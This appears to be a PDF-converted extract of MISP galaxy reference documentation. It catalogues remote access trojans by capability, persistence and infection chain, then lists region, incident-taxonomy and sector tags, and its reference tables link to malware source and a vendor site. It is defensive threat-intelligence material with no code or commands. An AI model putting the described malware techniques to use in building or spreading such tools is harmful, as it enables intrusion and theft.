Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device.

The tag is: misp-galaxy:rat="joanap"

Sisfader

Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.

The tag is: misp-galaxy:rat="Sisfader"

SocketPlayer

The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.

The tag is: misp-galaxy:rat="SocketPlayer"
Hallaj PRO RAT

RAT

The tag is: misp-galaxy:rat="Hallaj PRO RAT"

Table 8173. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

NukeSped

This threat can install other malware on your PC, including Trojan:Win32/NukeSped.B!dha and Trojan:Win32/NukeSped.C!dha. It can show you a warning message that says your files will be made publically available if you don’t follow the malicious hacker’s commands.

The tag is: misp-galaxy:rat="NukeSped"

Table 8174. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malwarefixes.com/threats/win32nukesped/">https://malwarefixes.com/threats/win32nukesped/</a></td>
</tr>
</tbody>
</table>

TheOneSpy

Remotely monitor and control any wrong activity of kids on all smartphones & computers

The tag is: misp-galaxy:rat="TheOneSpy"
BONDUPDATER

BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization. The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.

The tag is: misp-galaxy:rat="BONDUPDATER"

FlawedGrace

Proofpoint also point out that FlawedGrace is a full-featured RAT written in C++ and that it is a very large program that "extensive use of object-oriented and multithreaded programming techniques. "As a consequence, getting familiar with its internal structure takes a lot of time and is far from a simple task.

The tag is: misp-galaxy:rat="FlawedGrace"

H-worm

H-worm is a VBS (Visual Basic Script) based RAT written by an individual going by the name Houdini. We believe the author is based in Algeria and has connections to njq8, the author of njw0rm [1] and njRAT/LV [2] through means of a shared or common code base. We have seen the H-worm RAT being employed in targeted attacks against the international energy industry; however, we also see it being employed in a wider context as run of the mill attacks through spammed email attachments and malicious links.
The tag is: \textit{misp-galaxy:rat="H-worm"}

H-worm is also known as:

- WSHRat
- Houdini
- Dunihi

View relationships graph

H-worm has relationships with:

- similar: \textit{misp-galaxy:tool="Hworm" with estimative-language:likelihood-probability="likely"}

\textit{Table 8178. Table References}

\begin{tabular}{|l|}
\hline
Links \\
\hline
https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html \\
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape \\
\hline
\end{tabular}

\textbf{Parasite-HTTP-RAT}

The RAT, dubbed Parasite HTTP, is especially notable for the extensive array of techniques it incorporates for sandbox detection, anti-debugging, anti-emulation, and other protections. The malware is also modular in nature, allowing actors to add new capabilities as they become available or download additional modules post infection.

The tag is: \textit{misp-galaxy:rat="Parasite-HTTP-RAT"}

Parasite-HTTP-RAT is also known as:

- Parasite HTTP

\textit{Table 8179. Table References}

\begin{tabular}{|l|}
\hline
Links \\
\hline
\hline
\end{tabular}

\textbf{Caesar RAT}

Caesar is an HTTP-based RAT that allows you to remotely control devices directly from your browser.

The tag is: \textit{misp-galaxy:rat="Caesar RAT"}

\textit{Table 8180. Table References}

\begin{tabular}{|l|}
\hline
Links \\
\hline
https://securityonline.info/caesarrat-http-based-rat/ \\
\hline
\end{tabular}
**FlawedAmmy**

During the month of October, Check Point researchers discovered a widespread malware campaign spreading a remote access trojan (dubbed “FlawedAmmy”) that allows attackers to take over victims' computers and data. The campaign was the latest and most widespread delivering the ‘FlawedAmmy’ RAT, following a number of campaigns that have spread this malware in recent months. The Trojan allows attackers to gain full access to the machine’s camera and microphone, collect screen grabs, steal credentials and sensitive files, and intrusively monitor the victims’ actions. As a result, FlawedAmmy is the first RAT to enter the Global Threat Index’s top 10 ranking.

The tag is: `misp-galaxy:rat="FlawedAmmy"`

**Table 8181. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Felipe**

The Zscaler ThreatLabZ team came across a new strain of infostealer Trojan called Felipe, which silently installs itself onto a user's system and connects to a command-and-control (C&C) server to send system information from the compromised system. This malware is compiled for both 32-bit and 64-bit Windows operating systems. Felipe basically steals the victim's debit and credit card information and sends it, along with other personal information, to the remote C&C server. It also sets a date and time to perform other malicious activity upon successful infection of the victim machine.

The tag is: `misp-galaxy:rat="Felipe"`

**Table 8182. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Amavaldo Banking Trojan**

Amavaldo is banking trojan written in Delphi and known to targeting Spanish or Portuguese speaking countries. It contains backdoor functionality and can work as multi stage. Amavaldo also abuses legitimate tools and softwares

The tag is: `misp-galaxy:rat="Amavaldo Banking Trojan"`

**Table 8183. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
AsyncRAT

Open-Source Remote Administration Tool For Windows C# (RAT)

The tag is: misp-galaxy:rat="AsyncRAT"

Table 8184. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp">https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat</a></td>
</tr>
</tbody>
</table>

InnfiRAT

new RAT called InnfiRAT, which is written in .NET and designed to perform specific tasks from an infected machine

The tag is: misp-galaxy:rat="InnfiRAT"

Table 8185. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

KeyBase

In the wild since February 2015. The malware comes equipped with a variety of features and can be purchased for $50 directly from the author. It has been deployed in attacks against organizations across many industries and is predominantly delivered via phishing emails.

The tag is: misp-galaxy:rat="KeyBase"

Table 8186. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/">https://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/</a></td>
</tr>
</tbody>
</table>

Warzone

Apparently existing since 2018

The tag is: misp-galaxy:rat="Warzone"

Table 8187. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://warzone.pw">https://warzone.pw</a></td>
</tr>
</tbody>
</table>
SDBbot

SDBbot is a new remote access Trojan (RAT) written in C++ that has been delivered by the Get2 downloader in recent TA505 campaigns. Its name is derived from the debugging log file (sdb.log.txt) and DLL name (BotDLL[.]dll) used in the initial analyzed sample. It also makes use of application shimming [1] for persistence. SDBbot is composed of three pieces: an installer, a loader, and a RAT component.

The tag is: misp-galaxy:rat="SDBbot"

SDBbot is also known as:

- SDB bot

Table 8188. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Sepulcher

A China-based APT has been sending organizations spear-phishing emails that distribute a never-before-seen intelligence-collecting RAT dubbed Sepulcher.

Researchers discovered the new malware being distributed over the past six months through two separate campaigns. The first, in March, targeted European diplomatic and legislative bodies, non-profit policy research organizations and global organizations dealing with economic affairs. The second, in July, targeted Tibetan dissidents. They tied the campaigns to APT group TA413, which researchers say has been associated with Chinese state interests and is known for targeting the Tibetan community.

“Based on the use of publicly known sender addresses associated with Tibetan dissident targeting and the delivery of Sepulcher malware payloads, [we] have attributed both campaigns to the APT actor TA413,” said Proofpoint researchers in a Wednesday analysis. “The usage of publicly known Tibetan-themed sender accounts to deliver Sepulcher malware demonstrates a short-term realignment of TA413’s targets of interest.”

The tag is: misp-galaxy:rat="Sepulcher"

Table 8189. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.enigmasoftware.fr/logicielmalveillantsepulcher-supprimer/">https://www.enigmasoftware.fr/logicielmalveillantsepulcher-supprimer/</a></td>
</tr>
</tbody>
</table>
Guildma

The campaign spreads via phishing emails posing as invoices, tax reports, invitations and similar types of messages containing a ZIP archive attachment with a malicious LNK file. When a user opens the malicious LNK file, it abuses the Windows Management Instrumentation Command-line tool and silently downloads a malicious XSL file. The XSL file downloads all of Guildma’s modules and executes a first stage loader, which loads the rest of the modules. The malware is then active and waits for commands from the C&C server and/or specific user interactions, such as opening a webpage of one of the targeted banks.

The tag is: misp-galaxy:rat="Guildma"

Guildma is also known as:

- Astaroth

Table 8190. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.securityweek.com/guildma-malware-expands-targets-beyond-brazil">https://www.securityweek.com/guildma-malware-expands-targets-beyond-brazil</a></td>
</tr>
<tr>
<td><a href="https://www.securityweek.com/extensive-living-land-hides-stealthy-malware-campaign">https://www.securityweek.com/extensive-living-land-hides-stealthy-malware-campaign</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/28962">https://isc.sans.edu/diary/rss/28962</a></td>
</tr>
</tbody>
</table>

Milan

Milan is a 32-bit RAT written in Visual C++ and .NET. Milan is loaded and persists using tasks. An encoded routine waits for three to four seconds between executing the first task, deleting this task, and setting a second scheduled task for persistence.

The tag is: misp-galaxy:rat="Milan"

Milan is also known as:

- James

Table 8191. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/">https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/</a></td>
</tr>
</tbody>
</table>
DarkWatchman

In late November, Prevailion’s Adversarial Counterintelligence Team (PACT) identified what appeared to be a malicious javascript-based Remote Access Trojan (RAT) that uses a robust Domain Generation Algorithm (DGA) to identify its Command and Control (C2) infrastructure and that utilizes novel methods for fileless persistence, on-system activity, and dynamic run-time capabilities like self-updating and recompilation. This RAT, which PACT refers to by its internal codename “DarkWatchman”, has been observed being distributed by email and represents an evolution in fileless malware techniques, as it uses the registry for nearly all temporary and permanent storage and therefore never writes anything to disk, allowing it to operate beneath or around the detection threshold of most security tools. PACT has reverse engineered the DGA, dynamically analyzed the malware, investigated the Threat Actor’s (TA) web-based infrastructure, and consolidated the results of our analysis into the following report.

The tag is: `misp-galaxy:rat="DarkWatchman"`

DarkWatchman is also known as:

Table 8192. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.prevailion.com/darkwatchman-new-fileness-techniques/">https://www.prevailion.com/darkwatchman-new-fileness-techniques/</a></td>
</tr>
</tbody>
</table>

Ragnatela

Malwarebytes Lab identified a new variant of the BADNEWS RAT called Ragnatela. It is being distributed via spear phishing emails to targets of interest in Pakistan. Ragnatela, which means spider web in Italian, is also the project name and panel used by Patchwork APT. Ironically, the threat actor infected themselves with their own RAT.

The tag is: `misp-galaxy:rat="Ragnatela"`

View relationships graph

Ragnatela has relationships with:

- similar: `misp-galaxy:mitre-malware="BADNEWS - S0128"` with `estimative-language:likelihood-probability="likely"`

Table 8193. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

STRRAT

STRRAT is a Java-based RAT with a JavaScript wrapper/dropper that was discovered in 2020. Its core payload (a .JAR file) is contained under several layers of obfuscation and encoding inside the JavaScript wrapper/dropper.
STRRAT is propagated by malicious email attachments. Its capabilities include standard RAT functionalities (remote access, remote command execution), browser and email-client credential harvesting, and a unique ransomware-like functionality – if instructed, it will add a “.crimson” extension to files on the device, rendering them inoperable (though they can be easily recovered because their content is not modified).

Unlike many Java-based malware, STRRAT does not require Java to be installed on the infected system in order to operate. When the JavaScript wrapper/dropper is executed, if a suitable Java runtime installation is not found, one will be downloaded and installed in order to assure the contained Java payload can execute.

The tag is: `misp-galaxy:rat="STRRAT"`

### Table 8194. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape">https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape</a></td>
</tr>
</tbody>
</table>

### Regions UN M49

Regions based on UN M49.

Regions UN M49 is a cluster galaxy available in JSON format at [this location](https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape) The JSON format can be freely reused in your application or automatically enabled in MISP.

#### authors

Unknown

#### 001 - World

The tag is: `misp-galaxy:region="001 - World"`

#### 002 - Africa

The tag is: `misp-galaxy:region="002 - Africa"`

#### 005 - South America

The tag is: `misp-galaxy:region="005 - South America"`

#### 009 - Oceania

The tag is: `misp-galaxy:region="009 - Oceania"`
010 - Antarctica
The tag is: misp-galaxy:region="010 - Antarctica"

011 - Western Africa
The tag is: misp-galaxy:region="011 - Western Africa"

013 - Central America
The tag is: misp-galaxy:region="013 - Central America"

014 - Eastern Africa
The tag is: misp-galaxy:region="014 - Eastern Africa"

015 - Northern Africa
The tag is: misp-galaxy:region="015 - Northern Africa"

017 - Middle Africa
The tag is: misp-galaxy:region="017 - Middle Africa"

018 - Southern Africa
The tag is: misp-galaxy:region="018 - Southern Africa"

019 - Americas
The tag is: misp-galaxy:region="019 - Americas"

021 - Northern America
The tag is: misp-galaxy:region="021 - Northern America"

029 - Caribbean
The tag is: misp-galaxy:region="029 - Caribbean"

030 - Eastern Asia
The tag is: misp-galaxy:region="030 - Eastern Asia"
rsit

rsit.

rsit is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
Koen Van Impe

Abusive Content:Spam

Or 'Unsolicited Bulk Email', this means that the recipient has not granted verifiable permission for the message to be sent and that the message is sent as part of a larger collection of messages, all having a functionally comparable content. This IOC refers to resources, which make up a SPAM infrastructure, be it a harvesters like address verification, URLs in spam e-mails etc.

The tag is: misp-galaxy:rsit="Abusive Content:Spam"
Abusive Content: Spam has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="likely"

Abusive Content: Harmful Speech

Discretization or discrimination of somebody, e.g. cyber stalking, racism or threats against one or more individuals.

The tag is: misp-galaxy:rsit="Abusive Content:Harmful Speech"

Abusive Content: (Child) Sexual Exploitation/Sexual/Violent Content

Child Sexual Exploitation (CSE), Sexual content, glorification of violence, etc.

The tag is: misp-galaxy:rsit="Abusive Content:(Child) Sexual Exploitation/Sexual/Violent Content"

View relationships graph

Abusive Content: (Child) Sexual Exploitation/Sexual/Violent Content has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="likely"

Malicious Code: Infected System

System infected with malware, e.g. PC, smartphone or server infected with a rootkit. Most often this refers to a connection to a sinkholed C2 server

The tag is: misp-galaxy:rsit="Malicious Code:Infected System"

Malicious Code: C2 Server

Command-and-control server contacted by malware on infected systems.

The tag is: misp-galaxy:rsit="Malicious Code:C2 Server"

View relationships graph

Malicious Code: C2 Server has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="likely"
Malicious Code: Malware Distribution

URI used for malware distribution, e.g. a download URL included in fake invoice malware spam or exploit-kits (on websites).

The tag is: `misp-galaxy:rsit="Malicious Code: Malware Distribution"`

Malicious Code: Malware Configuration

URI hosting a malware configuration file, e.g. web-injects for a banking trojan.

The tag is: `misp-galaxy:rsit="Malicious Code: Malware Configuration"`

Information Gathering: Scanning

Attacks that send requests to a system to discover weaknesses. This also includes testing processes to gather information on hosts, services and accounts. Examples: fingerd, DNS querying, ICMP, SMTP (EXPN, RCPT, ...), port scanning.

The tag is: `misp-galaxy:rsit="Information Gathering: Scanning"`

View relationships graph

Information Gathering: Scanning has relationships with:

- similar: `misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:mitre-attack-pattern="Active Scanning - T1595"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002"` with estimative-language:likelihood-probability="likely"

Information Gathering: Sniffing

Observing and recording of network traffic (wiretapping).

The tag is: `misp-galaxy:rsit="Information Gathering: Sniffing"`

View relationships graph

Information Gathering: Sniffing has relationships with:

- similar: `misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"` with estimative-language:likelihood-probability="likely"
Information Gathering: Social Engineering

Gathering information from a human being in a non-technical way (e.g. lies, tricks, bribes, or threats).

The tag is: misp-galaxy:rsit="Information Gathering: Social Engineering"

Intrusion Attempts: Exploitation of known Vulnerabilities

An attempt to compromise a system or to disrupt any service by exploiting vulnerabilities with a standardised identifier such as CVE name (e.g. buffer overflow, backdoor, cross site scripting, etc.)

The tag is: misp-galaxy:rsit="Intrusion Attempts: Exploitation of known Vulnerabilities"

View relationships graph

Intrusion Attempts: Exploitation of known Vulnerabilities has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="likely"

Intrusion Attempts: Login attempts

Multiple login attempts (Guessing / cracking of passwords, brute force). This IOC refers to a resource, which has been observed to perform brute-force attacks over a given application protocol.

The tag is: misp-galaxy:rsit="Intrusion Attempts: Login attempts"

View relationships graph

Intrusion Attempts: Login attempts has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="likely"

**Intrusion Attempts:** New attack signature

An attack using an unknown exploit.

The tag is: *misp-galaxy:rsit="Intrusion Attempts: New attack signature"*

**Intrusions:** Privileged Account Compromise

Compromise of a system where the attacker gained administrative privileges.

The tag is: *misp-galaxy:rsit="Intrusions: Privileged Account Compromise"*

View relationships graph

Intrusions: Privileged Account Compromise has relationships with:

• similar: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="likely"

**Intrusions:** Unprivileged Account Compromise

Compromise of a system using an unprivileged (user/service) account.

The tag is: *misp-galaxy:rsit="Intrusions: Unprivileged Account Compromise"*

View relationships graph

Intrusions: Unprivileged Account Compromise has relationships with:

• similar: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="likely"

**Intrusions:** Application Compromise

Compromise of an application by exploiting (un-)known software vulnerabilities, e.g. SQL injection.

The tag is: *misp-galaxy:rsit="Intrusions: Application Compromise"*

View relationships graph

Intrusions: Application Compromise has relationships with:

• similar: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="likely"
Intrusions: System Compromise

Compromise of a system, e.g. unauthorised logins or commands. This includes compromising attempts on honeypot systems.

The tag is: misp-galaxy:rsit="Intrusions: System Compromise"

Intrusions: Burglary

Physical intrusion, e.g. into corporate building or data-centre.

The tag is: misp-galaxy:rsit="Intrusions: Burglary"

Availability: Denial of Service

Denial of Service attack, e.g. sending specially crafted requests to a web application which causes the application to crash or slow down.

The tag is: misp-galaxy:rsit="Availability: Denial of Service"

View relationships graph

Availability: Denial of Service has relationships with:

• similar: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="likely"

Availability: Distributed Denial of Service

Distributed Denial of Service attack, e.g. SYN-Flood or UDP-based reflection/amplification attacks.

The tag is: misp-galaxy:rsit="Availability: Distributed Denial of Service"

View relationships graph

Availability: Distributed Denial of Service has relationships with:

• similar: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="likely"

Availability: Misconfiguration

Software misconfiguration resulting in service availability issues, e.g. DNS server with outdated DNSSEC Root Zone KSK.

The tag is: misp-galaxy:rsit="Availability: Misconfiguration"
**Availability: Sabotage**

Physical sabotage, e.g. cutting wires or malicious arson.

The tag is: `misp-galaxy:rsit="Availability:Sabotage"`

**Availability: Outage**

Outage caused e.g. by air condition failure or natural disaster.

The tag is: `misp-galaxy:rsit="Availability:Outage"`

**Information Content Security: Unauthorised access to information**

Unauthorised access to information, e.g. by abusing stolen login credentials for a system or application, intercepting traffic or gaining access to physical documents.

The tag is: `misp-galaxy:rsit="Information Content Security:Unauthorised access to information"`

**Information Content Security: Unauthorised modification of information**

Unauthorised modification of information, e.g. by an attacker abusing stolen login credentials for a system or application or a ransomware encrypting data. Also includes defacements.

The tag is: `misp-galaxy:rsit="Information Content Security:Unauthorised modification of information"`

View relationships graph

Information Content Security: Unauthorised modification of information has relationships with:

- similar: `misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565"` with estimative-language:likelihood-probability="likely"

**Information Content Security: Data Loss**

Loss of data, e.g. caused by harddisk failure or physical theft.

The tag is: `misp-galaxy:rsit="Information Content Security:Data Loss"`

**Information Content Security: Leak of confidential information**

Leaked confidential information like credentials or personal data.
The tag is: `misp-galaxy:rsit="Information Content Security: Leak of confidential information"`

**Fraud: Unauthorised use of resources**

Using resources for unauthorised purposes including profit-making ventures, e.g. the use of e-mail to participate in illegal profit chain letters or pyramid schemes.

The tag is: `misp-galaxy:rsit="Fraud: Unauthorised use of resources"`

**Fraud: Copyright**

Offering or installing copies of unlicensed commercial software or other copyright protected materials (Warez).

The tag is: `misp-galaxy:rsit="Fraud: Copyright"`

**Fraud: Masquerade**

Type of attack in which one entity illegitimately impersonates the identity of another in order to benefit from it.

The tag is: `misp-galaxy:rsit="Fraud: Masquerade"`

**Fraud: Phishing**

Masquerading as another entity in order to persuade the user to reveal private credentials. This IOC most often refers to a URL, which is used to phish user credentials.

The tag is: `misp-galaxy:rsit="Fraud: Phishing"`

View relationships graph

Fraud: Phishing has relationships with:

- similar: `misp-galaxy:mitre-attack-pattern="Phishing - T1566"` with estimative-language:likelihood-probability="likely"

**Vulnerable: Weak crypto**

Publicly accessible services offering weak crypto, e.g. web servers susceptible to POODLE/FREAK attacks.

The tag is: `misp-galaxy:rsit="Vulnerable: Weak crypto"`

**Vulnerable: DDoS amplifier**

Publicly accessible services that can be abused for conducting DDoS reflection/amplification attacks, e.g. DNS open-resolvers or NTP servers with monlist enabled.
Vulnerable:DDoS amplifier has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="likely"

Vulnerable:Potentially unwanted accessible services

Potentially unwanted publicly accessible services, e.g. Telnet, RDP or VNC.

Vulnerable:Information disclosure

Publicly accessible services potentially disclosing sensitive information, e.g. SNMP or Redis.

Vulnerable:Vulnerable system

A system which is vulnerable to certain attacks. Example: misconfigured client proxy settings (example: WPAD), outdated operating system version, XSS vulnerabilities, etc.

Other:Uncategorised

All incidents which don't fit in one of the given categories should be put into this class or the incident is not categorised.

Other:Undetermined

The categorisation of the incident is unknown/undetermined.

Test:Test

Meant for testing.
Sector

Activity sectors.

Sector is a cluster galaxy available in JSON format at [this location](#) The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Unknown

The tag is: `misp-galaxy:sector="Unknown"`

Other

The tag is: `misp-galaxy:sector="Other"`

Academia - University

The tag is: `misp-galaxy:sector="Academia - University"`

Activists

The tag is: `misp-galaxy:sector="Activists"`

Aerospace

The tag is: `misp-galaxy:sector="Aerospace"`

Agriculture

The tag is: `misp-galaxy:sector="Agriculture"`

Arts

The tag is: `misp-galaxy:sector="Arts"`

Bank

The tag is: `misp-galaxy:sector="Bank"`
Chemical
The tag is: misp-galaxy:sector="Chemical"

Citizens
The tag is: misp-galaxy:sector="Citizens"

Civil Aviation
The tag is: misp-galaxy:sector="Civil Aviation"

Country
The tag is: misp-galaxy:sector="Country"

Culture
The tag is: misp-galaxy:sector="Culture"

Data Broker
The tag is: misp-galaxy:sector="Data Broker"

Defense
The tag is: misp-galaxy:sector="Defense"

Development
The tag is: misp-galaxy:sector="Development"

Diplomacy
The tag is: misp-galaxy:sector="Diplomacy"

Education
The tag is: misp-galaxy:sector="Education"

Electric
The tag is: misp-galaxy:sector="Electric"
Electronic

The tag is: `misp-galaxy:sector="Electronic"`

Employment

The tag is: `misp-galaxy:sector="Employment"`

Energy

The tag is: `misp-galaxy:sector="Energy"`

Entertainment

The tag is: `misp-galaxy:sector="Entertainment"`

Environment

The tag is: `misp-galaxy:sector="Environment"`

Finance

The tag is: `misp-galaxy:sector="Finance"`

Finance is also known as:

• Financial

Food

The tag is: `misp-galaxy:sector="Food"`

Game

The tag is: `misp-galaxy:sector="Game"`

Gas

The tag is: `misp-galaxy:sector="Gas"`

Government, Administration

The tag is: `misp-galaxy:sector="Government, Administration"`

Government, Administration is also known as:
• Government
• Administration

Health

The tag is: \textit{misp-galaxy:sector=\textit{Health}}

Health is also known as:

• Healthcare

Higher education

The tag is: \textit{misp-galaxy:sector=\textit{Higher education}}

Hotels

The tag is: \textit{misp-galaxy:sector=\textit{Hotels}}

Infrastructure

The tag is: \textit{misp-galaxy:sector=\textit{Infrastructure}}

Intelligence

The tag is: \textit{misp-galaxy:sector=\textit{Intelligence}}

IT

The tag is: \textit{misp-galaxy:sector=\textit{IT}}

IT - Hacker

The tag is: \textit{misp-galaxy:sector=\textit{IT - Hacker}}

IT - ISP

The tag is: \textit{misp-galaxy:sector=\textit{IT - ISP}}

IT - Security

The tag is: \textit{misp-galaxy:sector=\textit{IT - Security}}
Justice
The tag is: misp-galaxy:sector="Justice"

Manufacturing
The tag is: misp-galaxy:sector="Manufacturing"

Maritime
The tag is: misp-galaxy:sector="Maritime"

Military
The tag is: misp-galaxy:sector="Military"

Multi-sector
The tag is: misp-galaxy:sector="Multi-sector"

News - Media
The tag is: misp-galaxy:sector="News - Media"

News - Media is also known as:
  • News
  • Media

NGO
The tag is: misp-galaxy:sector="NGO"

Oil
The tag is: misp-galaxy:sector="Oil"

Payment
The tag is: misp-galaxy:sector="Payment"

Pharmacy
The tag is: misp-galaxy:sector="Pharmacy"
Pharmacy is also known as:

- Pharmaceutical

**Police - Law enforcement**

The tag is: `misp-galaxy:sector="Police - Law enforcement"

**Research - Innovation**

The tag is: `misp-galaxy:sector="Research - Innovation"

**Satellite navigation**

The tag is: `misp-galaxy:sector="Satellite navigation"

**Security systems**

The tag is: `misp-galaxy:sector="Security systems"

**Social networks**

The tag is: `misp-galaxy:sector="Social networks"

**Space**

The tag is: `misp-galaxy:sector="Space"

**Steel**

The tag is: `misp-galaxy:sector="Steel"

**Telecoms**

The tag is: `misp-galaxy:sector="Telecoms"

Telecoms is also known as:

- Telecommunications

**Think Tanks**

The tag is: `misp-galaxy:sector="Think Tanks"
Trade

The tag is: misp-galaxy:sector="Trade"

Transport

The tag is: misp-galaxy:sector="Transport"

Transport is also known as:

• Transportation

Travel

The tag is: misp-galaxy:sector="Travel"

Turbine

The tag is: misp-galaxy:sector="Turbine"

Tourism

The tag is: misp-galaxy:sector="Tourism"

Life science

The tag is: misp-galaxy:sector="Life science"

Biomedical

The tag is: misp-galaxy:sector="Biomedical"

High tech

The tag is: misp-galaxy:sector="High tech"

Opposition

The tag is: misp-galaxy:sector="Opposition"

Political party

The tag is: misp-galaxy:sector="Political party"
Hospitality
The tag is: misp-galaxy:sector="Hospitality"

Automotive
The tag is: misp-galaxy:sector="Automotive"

Metal
The tag is: misp-galaxy:sector="Metal"

Railway
The tag is: misp-galaxy:sector="Railway"

Water
The tag is: misp-galaxy:sector="Water"

Smart meter
The tag is: misp-galaxy:sector="Smart meter"

Retail
The tag is: misp-galaxy:sector="Retail"

Technology
The tag is: misp-galaxy:sector="Technology"

Engineering
The tag is: misp-galaxy:sector="Engineering"

Mining
The tag is: misp-galaxy:sector="Mining"

Sport
The tag is: misp-galaxy:sector="Sport"
Restaurant
The tag is: `misp-galaxy:sector="Restaurant"`

Semi-conductors
The tag is: `misp-galaxy:sector="Semi-conductors"`
Semi-conductors is also known as:

- Semiconductor

Insurance
The tag is: `misp-galaxy:sector="Insurance"`

Legal
The tag is: `misp-galaxy:sector="Legal"`

Shipping
The tag is: `misp-galaxy:sector="Shipping"`

Logistic
The tag is: `misp-galaxy:sector="Logistic"`

Construction
The tag is: `misp-galaxy:sector="Construction"`

Industrial
The tag is: `misp-galaxy:sector="Industrial"`
Industrial is also known as:

- ICS

Communication equipment
The tag is: `misp-galaxy:sector="Communication equipment"`
Security Service
The tag is: misp-galaxy:sector="Security Service"

Tax firm
The tag is: misp-galaxy:sector="Tax firm"

Television broadcast
The tag is: misp-galaxy:sector="Television broadcast"

Separatists
The tag is: misp-galaxy:sector="Separatists"

Dissidents
The tag is: misp-galaxy:sector="Dissidents"

Digital services
The tag is: misp-galaxy:sector="Digital services"

Digital infrastructure
